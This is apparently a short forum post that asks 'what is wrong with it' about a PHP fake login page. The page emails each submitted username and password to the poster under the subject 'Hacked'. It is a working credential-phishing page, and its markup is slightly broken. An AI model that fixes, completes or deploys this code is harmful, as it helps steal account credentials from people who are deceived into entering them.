Code:
html>
<head>
<title>log in</title>
</head>
<body>
<?php

$user = $_POST["username"];
$password = $_POST["password"];

if ($user != "" && $password != "")
{
$message = "Username: $user\nPassword: $password\n";

mail("your@email.com", "Hacked: $user", wordwrap($message, 70));
}
?>
<h*>log in</h*><br>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<br>
<input type="submit">
<br>
</form>
</body>
</html>

what is wrong with it